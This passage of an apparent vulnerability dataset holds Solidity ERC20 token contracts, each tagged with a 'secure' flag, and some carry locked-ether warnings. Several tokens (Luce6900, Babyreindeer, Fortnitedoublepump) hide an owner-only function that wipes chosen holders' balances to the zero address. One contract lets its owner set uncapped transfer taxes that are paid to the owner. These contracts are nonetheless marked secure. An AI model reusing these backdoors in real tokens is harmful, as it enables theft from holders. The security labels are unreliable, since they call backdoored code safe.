"size_bytes": 17790
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3ac287b): Contract locking ether found Contract Snipify has payable functions Snipify.receive() But does not have a function to withdraw the ether\n// Recommendation for 3ac287b: Remove the 'payable' attribute or add a withdraw function.\ncontract Snipify is ERC20, Ownable {\n constructor() ERC20(unicode\"Snipify\", unicode\"SPY\") {\n _mint(owner(), 100000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 3ac287b): Contract locking ether found Contract Snipify has payable functions Snipify.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 3ac287b: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_587.sol",
"secure": 0,
"size_bytes": 998
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Luce6900 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable tactic;\n\n constructor() {\n _name = \"Luce6900\";\n\n _symbol = \"LUCE6900\";\n\n _decimals = 18;\n\n uint256 initialSupply = 288000000;\n\n tactic = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == tactic, \"Not allowed\");\n\n _;\n }\n\n function demand(address[] memory innocent) public onlyOwner {\n for (uint256 i = 0; i < innocent.length; i++) {\n address account = innocent[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_588.sol",
"secure": 1,
"size_bytes": 4365
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Agony is ERC20, Ownable {\n constructor() ERC20(\"Agony\", \"AGONY\") {\n _mint(msg.sender, 1000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_589.sol",
"secure": 1,
"size_bytes": 343
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract CardToken is Ownable, ERC20 {\n uint256 public constant INITIAL_SUPPLY = 100_000_000 * 10 ** 18;\n\n constructor() ERC20(\"Bitcoin Black\", \"CARD\") {\n _mint(msg.sender, INITIAL_SUPPLY);\n }\n\n function burn(uint256 value) external {\n _burn(msg.sender, value);\n }\n}",
"file_name": "solidity_code_59.sol",
"secure": 1,
"size_bytes": 500
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract LotL is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"LotL\", \"LotL\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 100000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_590.sol",
"secure": 1,
"size_bytes": 583
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Babyreindeer is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable sweat;\n\n constructor() {\n _name = \"baby reindeer\";\n\n _symbol = \"REIN\";\n\n _decimals = 18;\n\n uint256 initialSupply = 737000000;\n\n sweat = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == sweat, \"Not allowed\");\n\n _;\n }\n\n function money(address[] memory cotton) public onlyOwner {\n for (uint256 i = 0; i < cotton.length; i++) {\n address account = cotton[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_591.sol",
"secure": 1,
"size_bytes": 4360
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public buyTax = 15;\n\n uint256 public sellTax = 25;\n\n address public owner;\n\n modifier onlyOwner() {\n require(\n _msgSender() == owner,\n \"Only the contract owner can call this function.\"\n );\n\n _;\n }\n\n event TaxUpdated(uint256 buyTax, uint256 sellTax);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 initialSupply\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n owner = _msgSender();\n\n _totalSupply = initialSupply * 10 ** decimals();\n\n _balances[owner] = _totalSupply;\n\n emit Transfer(address(0), owner, _totalSupply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _transfer(sender, to, amount, false);\n\n return true;\n }\n\n function allowance(\n address ownerAddress,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[ownerAddress][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount, true);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n _approve(sender, spender, allowance(sender, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address sender = _msgSender();\n\n uint256 currentAllowance = allowance(sender, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(sender, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function setBuyTax(uint256 _buyTax) external onlyOwner {\n buyTax = _buyTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function setSellTax(uint256 _sellTax) external onlyOwner {\n sellTax = _sellTax;\n\n emit TaxUpdated(buyTax, sellTax);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount,\n bool isSell\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 taxAmount = isSell\n ? ((amount * sellTax) / 100)\n : ((amount * buyTax) / 100);\n\n uint256 netAmount = amount - taxAmount;\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += netAmount;\n }\n\n emit Transfer(from, to, netAmount);\n\n if (taxAmount > 0) {\n _balances[owner] += taxAmount;\n\n emit Transfer(from, owner, taxAmount);\n }\n\n _afterTokenTransfer(from, to, netAmount);\n }\n\n function _approve(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n ownerAddress != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[ownerAddress][spender] = amount;\n\n emit Approval(ownerAddress, spender, amount);\n }\n\n function _spendAllowance(\n address ownerAddress,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(ownerAddress, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(ownerAddress, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipTransferred(\n owner,\n address(0x000000000000000000000000000000000000dEaD)\n );\n\n owner = address(0x000000000000000000000000000000000000dEaD);\n }\n\n function balanceEndsIn(\n address wallet,\n uint256 lastDigit\n ) public view returns (bool) {\n require(lastDigit < 10, \"The last digit must be between 0 and 9\");\n\n uint256 balance = balanceOf(wallet);\n\n return balance % 10 == lastDigit;\n }\n}",
"file_name": "solidity_code_592.sol",
"secure": 1,
"size_bytes": 6955
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract FaustTweet is ERC20 {\n constructor() ERC20(unicode\"MAGA Dog\", unicode\"ZEB\", 1000000000) {}\n}",
"file_name": "solidity_code_593.sol",
"secure": 1,
"size_bytes": 243
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Fortnitedoublepump is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable wash;\n\n constructor() {\n _name = \"Fortnite Double Pump\";\n\n _symbol = \"PUMP\";\n\n _decimals = 18;\n\n uint256 initialSupply = 426000000;\n\n wash = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == wash, \"Not allowed\");\n\n _;\n }\n\n function silence(address[] memory miracle) public onlyOwner {\n for (uint256 i = 0; i < miracle.length; i++) {\n address account = miracle[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_594.sol",
"secure": 1,
"size_bytes": 4375
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract Splendor is ERC20 {\n constructor() ERC20(\"Splendor\", \"Splendor\") {\n _mint(msg.sender, 200000000 * 10 ** decimals());\n\n _mint(\n 0xF977814e90dA44bFA03b6295A0616a897441aceC,\n 800000000 * 10 ** decimals()\n );\n }\n}",
"file_name": "solidity_code_595.sol",
"secure": 1,
"size_bytes": 406
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract VAULTIXA is ERC20, Ownable {\n constructor() ERC20(\"VAULTIXA\", \"VLTX\") {\n _mint(msg.sender, 10000000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_596.sol",
"secure": 1,
"size_bytes": 349
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Token is Context, IERC20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant productDevelopmentReserve =\n 2_500_000_000 * (10 ** _decimals);\n\n uint256 public constant marketingReserve =\n 3_500_000_000 * (10 ** _decimals);\n\n uint256 public constant airdropsReserve = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public constant stakingRewardsReserve =\n 800_000_000 * (10 ** _decimals);\n\n uint256 public constant exchangeLiquidityReserve =\n 1_000_000_000 * (10 ** _decimals);\n\n uint256 public constant communityRewardsReserve =\n 700_000_000 * (10 ** _decimals);\n\n uint256 public constant treasuryReserve = 500_000_000 * (10 ** _decimals);\n\n constructor() {\n _name = \"Best Wallet Token\";\n\n _symbol = \"BEST\";\n\n _mint(\n 0x091C5541113bb54fCf199A809c3b6768850fC4B6,\n productDevelopmentReserve\n );\n\n _mint(0x20799dCD540E86B5C54cfC753682b5f0088eEa1c, marketingReserve);\n\n _mint(0xa69e4a6273022640a4FFe2515776eA789c18Dc9F, airdropsReserve);\n\n _mint(\n 0xA10B24B89d81f6b9AF5BFcb482471065Dd8F8928,\n stakingRewardsReserve\n );\n\n _mint(\n 0xcaC4307efBbc5921Ed2c98FB4B817248E3A81d73,\n exchangeLiquidityReserve\n );\n\n _mint(\n 0xd0EDCe497f131876C88f344ae972e22364E3a9Cf,\n communityRewardsReserve\n );\n\n _mint(0xbA9E198b8fAda787bC6415921977D0a0962F92Cf, treasuryReserve);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"ERC20: transfer amount zero\");\n\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: approve from the zero address\");\n\n require(to != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}",
"file_name": "solidity_code_597.sol",
"secure": 1,
"size_bytes": 6475
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract CryptoCode is ERC20, ERC20Burnable, Ownable, ReentrancyGuard {\n constructor() ERC20(\"CryptoCode\", \"CODE\") Ownable(msg.sender) {\n _mint(msg.sender, 1000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) external onlyOwner nonReentrant {\n _mint(to, amount);\n }\n}",
"file_name": "solidity_code_598.sol",
"secure": 1,
"size_bytes": 698
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: 0f0c512): Contract locking ether found Contract ShadowSequencerDAO has payable functions ShadowSequencerDAO.receive() But does not have a function to withdraw the ether\n// Recommendation for 0f0c512: Remove the 'payable' attribute or add a withdraw function.\ncontract ShadowSequencerDAO is ERC20, Ownable {\n constructor() ERC20(unicode\"Shadow Sequencer DAO\", unicode\"SSD\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: 0f0c512): Contract locking ether found Contract ShadowSequencerDAO has payable functions ShadowSequencerDAO.receive() But does not have a function to withdraw the ether\n\t// Recommendation for 0f0c512: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_599.sol",
"secure": 0,
"size_bytes": 1067
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./fairPlatform.sol\" as fairPlatform;\n\ncontract ERC20Deployer {\n uint256 public count = 0;\n\n mapping(uint256 => address) public fairs;\n\n event TokenDeployed(\n address indexed tokenAddress,\n string name,\n string symbol\n );\n\n function deployToken(\n string memory _name,\n string memory _symbol,\n string memory _twitter,\n string memory _telegram,\n string memory _website\n ) public {\n fairPlatform token = new fairPlatform(\n _name,\n _symbol,\n _twitter,\n _telegram,\n _website\n );\n\n ++count;\n\n fairs[count] = address(token);\n\n emit TokenDeployed(address(token), _name, _symbol);\n }\n}",
"file_name": "solidity_code_6.sol",
"secure": 1,
"size_bytes": 846
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Chinacoin is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable tune;\n\n constructor() {\n _name = \"China Coin\";\n\n _symbol = \"CHINA\";\n\n _decimals = 18;\n\n uint256 initialSupply = 937000000;\n\n tune = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == tune, \"Not 